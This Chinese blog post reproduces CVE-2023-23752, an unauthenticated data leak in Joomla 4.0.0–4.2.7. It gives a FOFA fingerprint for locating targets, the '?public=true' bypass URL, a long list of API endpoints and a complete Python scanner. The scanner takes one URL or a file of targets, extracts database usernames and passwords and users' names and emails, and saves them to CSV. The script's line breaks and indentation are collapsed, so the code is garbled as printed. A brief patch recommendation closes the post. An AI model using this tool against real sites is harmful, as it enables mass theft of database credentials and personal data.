00 前言

这漏洞公开有阵子了好像,今天才复现了下

Jooml 在海外使用较多,是一套使用 PHP 和 MySQL 开发的开源、跨平台的内容管理系统(CMS)。
Joomla 4.0.0 至 4.2.7 版本中的 ApiRouter.php#parseApiRoute 在处理用户的 Get 请求时未对请求参数有效过滤,导致攻击者可向 Joomla 服务端点发送包含 public=true 参数的请求(如:/api/index.php/v1/config/application?public=true&key=value) 进行未授权访问

01 FOFA指纹

product="Joomla"

02 影响版本

4.0.0 <= Joomla <= 4.2.7

03 漏洞详情

在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。

未授权路径在:

/api/index.php/v1/config/application?public=true

我们可以直接看到数据库的配置信息。

其他可利用接口

v1/banners
v1/banners/:id
v1/banners
v1/banners/:id
v1/banners/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories/:id
v1/banners/:id/contenthistory
v1/banners/:id/contenthistory/keep
v1/banners/:id/contenthistory
v1/config/application
v1/config/application
v1/config/:component_name
v1/config/:component_name
v1/contacts/form/:id
v1/contacts
v1/contacts/:id
v1/contacts
v1/contacts/:id
v1/contacts/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories/:id
v1/contacts/:id/contenthistory
v1/contacts/:id/contenthistory/keep
v1/contacts/:id/contenthistory
v1/content/articles
v1/content/articles/:id
v1/content/articles
v1/content/articles/:id
v1/content/articles/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories/:id
v1/content/articles/:id/contenthistory
v1/content/articles/:id/contenthistory/keep
v1/content/articles/:id/contenthistory
v1/extensions
v1/languages/content
v1/languages/content/:id
v1/languages/content
v1/languages/content/:id
v1/languages/content/:id
v1/languages/overrides/search
v1/languages/overrides/search/cache/refresh
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB/:id
v1/languages
v1/languages
v1/media/adapters
v1/media/adapters/:id
v1/media/files
v1/media/files/:path/
v1/media/files/:path
v1/media/files
v1/media/files/:path
v1/media/files/:path
v1/menus/site
v1/menus/site/:id
v1/menus/site
v1/menus/site/:id
v1/menus/site/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items/:id
v1/menus/site/items/types
v1/menus/administrator/items/types
v1/messages
v1/messages/:id
v1/messages
v1/messages/:id
v1/messages/:id
v1/modules/types/site
v1/modules/types/administrator
v1/modules/site
v1/modules/site/:id
v1/modules/site
v1/modules/site/:id
v1/modules/site/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories/:id
v1/plugins
v1/plugins/:id
v1/plugins/:id
v1/privacy/requests
v1/privacy/requests/:id
v1/privacy/requests/export/:id
v1/privacy/requests
v1/privacy/consents
v1/privacy/consents/:id
v1/privacy/consents/:id
v1/redirects
v1/redirects/:id
v1/redirects
v1/redirects/:id
v1/redirects/:id
v1/tags
v1/tags/:id
v1/tags
v1/tags/:id
v1/tags/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator/:id
v1/users
v1/users/:id
v1/users
v1/users/:id
v1/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels/:id

04 验证脚本

脚本如下:

import requests
import argparse
import csv
import json timeout = 10 output = ""
proxy = {}
notColor = False def inGreen(s):
return "\033[0;32m{}\033[0m".format(s) def inYellow(s):
return "\033[0;33m{}\033[0m".format(s) def readFile(filepath):
file = open(filepath, encoding='utf8')
return file.readlines() def writeFile(filepath, data):
file = open(filepath, 'a', encoding='utf8')
filecsv = csv.writer(file)
filecsv.writerow(data) def reqDatabase(url):
if url.rindex("/") == len(url) - 1:
url = "{}api/index.php/v1/config/application?public=true".format(url)
else:
url = "{}/api/index.php/v1/config/application?public=true".format(url) payload = {}
headers = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close'
} response = requests.request("GET", url, headers=headers, data=payload, verify=False, proxies=proxy, timeout=timeout) # print(response.text)
if "links" in response.text and "\"password\":" in response.text:
try:
rejson = json.loads(response.text)
user = ""
password = ""
for dataone in rejson['data']:
# print(dataone['attributes'])
if "user" in dataone['attributes']:
user = dataone['attributes']['user']
if "password" in dataone['attributes']:
password = dataone['attributes']['password']
if user != "" or password != "":
printBody = "[+] [Database] {} --> {} / {}".format(url, user, password)
if notColor:
print(printBody)
else:
print(inYellow(printBody))
if output.strip() != "":
writeFile(output + "_databaseUserAndPassword.csv", [url, user, password, response.text])
return url, response.text
except:
pass def reqUserAndEmail(url):
if url.rindex("/") == len(url) - 1:
url = "{}api/index.php/v1/users?public=true".format(url)
else:
url = "{}/api/index.php/v1/users?public=true".format(url) payload = {}
headers = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close'
} response = requests.request("GET", url, headers=headers, data=payload, verify=False, proxies=proxy, timeout=timeout) if "username" in response.text and "email" in response.text:
try:
rejson = json.loads(response.text)
for dataone in rejson['data']:
username = ""
email = ""
# print(dataone['attributes'])
if "username" in dataone['attributes']:
username = dataone['attributes']['username']
if "email" in dataone['attributes']:
email = dataone['attributes']['email']
if username != "" or email != "":
printBody = "[+] [User&email] {} --> {} / {}".format(url, username, email)
if notColor:
print(printBody)
else:
print(inGreen(printBody))
if output.strip() != "":
writeFile(output + "_usernameAndEmail.csv", [url, username, email, response.text])
return url, response.text
except:
pass def reqs(listfileName):
urls = readFile(listfileName)
for url in urls:
url = url.strip()
if url == "":
continue
reqDatabase(url)
reqUserAndEmail(url) def main():
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', type=str, default="", help="测试目标的 URL")
parser.add_argument('-l', '--listfile', type=str, default="", help="测试目标的地址文件")
parser.add_argument('-o', '--output', type=str, default="", help="输出文件的位置")
parser.add_argument('-p', '--proxy', type=str, default="", help="代理,如:http://localhost:1080")
parser.add_argument('-nc', '--notColor', type=bool, default=False, help="禁止带颜色的输出,如:-nc true") opt = parser.parse_args()
args = vars(opt)
url = args['url']
urlFileName = args['listfile']
global output, proxy, notColor
output = args['output']
proxy['http'] = args['proxy']
proxy['https'] = args['proxy']
notColor = args['notColor'] if url != "":
reqDatabase(url)
if urlFileName != "":
reqs(urlFileName) if __name__ == '__main__':
main()

缺依赖的话自行导入即可使用,使用命令:

python main.py  -u  http://127.0.0.1:8087/

05 修复建议

目前该漏洞已经修复,受影响用户可及时升级到Joomla! CMS 版本4.2.8。

喜欢就点个关注一起进步吧

Joomla未授权访问漏洞|CVE-2023-23752复现及修复的更多相关文章

  1. WordPress Backdoor未授权访问漏洞和信息泄露漏洞

    漏洞名称: WordPress Backdoor未授权访问漏洞和信息泄露漏洞 CNNVD编号: CNNVD-201312-497 发布时间: 2013-12-27 更新时间: 2013-12-27 危 ...

  2. UCloud-201809-001:Redis服务未授权访问漏洞安全预警

    UCloud-201809-001:Redis服务未授权访问漏洞安全预警 尊敬的UCloud用户,您好! 发布时间  2018-09-11更新时间  2018-09-11漏洞等级  HighCVE编号 ...

  3. mongodb未授权访问漏洞

    catalogue . mongodb安装 . 未授权访问漏洞 . 漏洞修复及加固 . 自动化检测点 1. mongodb安装 apt-get install mongodb 0x1: 创建数据库目录 ...

  4. [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上

    一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...

  5. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

  6. Redis 未授权访问漏洞(附Python脚本)

    0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...

  7. Rsync未授权访问漏洞的利用和防御

    首先Rsync未授权访问利用 该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell. 我们具体来看配置文件的网相关选项(/etc/r ...

  8. docker搭建redis未授权访问漏洞环境

    这是redis未授权访问漏洞环境,可以使用该环境练习重置/etc/passwd文件从而重置root密码 环境我已经搭好放在了docker hub 可以使用命令docker search ju5ton1 ...

  9. redis未授权访问漏洞那拿SHELL

    一.什么是redis未授权访问漏洞: 1.redis是一种文档型数据库,快速高效,存储在内存中,定期才会写磁盘.主要用于快速缓存,数据转存处理等.默认redis开在6379端口,可以直接访问.并不需要 ...

  10. 关于docker remote api未授权访问漏洞的学习与研究

    漏洞介绍: 该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker. docker ...

随机推荐

  1. Nmap 图形界面使用

    Nmap 图形界面的使用 Zenmap,作为Nmap的图形用户界面(GUI),为用户提供了一个直观.易用的方式来执行网络扫描和分析.以下是一个关于如何使用Zenmap的详细指南. 扫描主机 使用Zen ...

  2. 你知道PCB走线可以过多大的瞬态电流吗?

    相信很多同学在PCB Layout设计过程中,都有过这样的疑问:网口要做8KV浪涌防护,PCB走线应该走多宽呢? 有经验的硬件工程师可能此时就会说了,那还不简单,表层走线按照1mm/A,内层走线按照2 ...

  3. Q:群晖磁盘断电导致,无法访问系统分区

    1.群晖磁盘断电导致,无法访问系统分区 2.点击存储空间管理员-总览-点击修复 3.存储空间-文件系统检查-重启 4.重启后正常

  4. Q: USB无线网卡搜不到路由器WiFi,但也能搜索到少部分信号。

    原因分析:一般在路由器的配置的无线信道是自动,路由器的2.4G频段有13个左右交叠的信道.由于USB无线网卡的设置信道区间可能不在无线信道范围内,导致无线网卡搜索不到对应wifi. 解决问题:鼠标右键 ...

  5. Q:oracle中blog中截取部分字符串

    blog报文中获取对应标签字符串 将xxx替换成需要查询的标签 to_char(substr(C_INPUT,instr(C_INPUT,'<xxx>')+length('<xxx& ...

  6. Mac安装Prometheus + Grafana

    一.安装Prometheus 1.下载安装 brew install prometheus 2.安装路径 /opt/homebrew/Cellar/prometheus/3.1.0 3.修改配置文件 ...

  7. Maven 打包的几种常用方式

    一.maven-jar-plugin 默认的打包插件,用来打普通的jar 包,需建立lib目录里来存放需要的依赖包 二.maven-shade-plugin (推荐) 将依赖的jar包打包到当前jar ...

  8. C语言中的*和&符号

    之前对*和&符号一直理解的比较浅显.只知道: *p好像表示的是一个指针: &p表示的是一个地址. 然而这次当遇到了下面这个情况的时候: int a = 10; int *b = &am ...

  9. 【COM3D2Mod 制作教程(8)】实战!制作衣服部分(下)

    [COM3D2Mod 制作教程(8)]实战!制作衣服部分(下) 制作袜子 Mod 体会了裙子 Mod 的制作流程,不知道你有没有被麻烦的权重和形态键搞崩溃过,现在做袜子难道还得在来一遍?而且裆下的权重 ...

  10. Ansible - [02] 基础配置以及常用操作场景

    Ansible 基础配置 主配置文件:/etc/ansible/ansible.cfg ansible配置文件查找顺序 首先检测ANSIBLE_CONFIG变量定义的配置 其次检查当前目录下的./an ...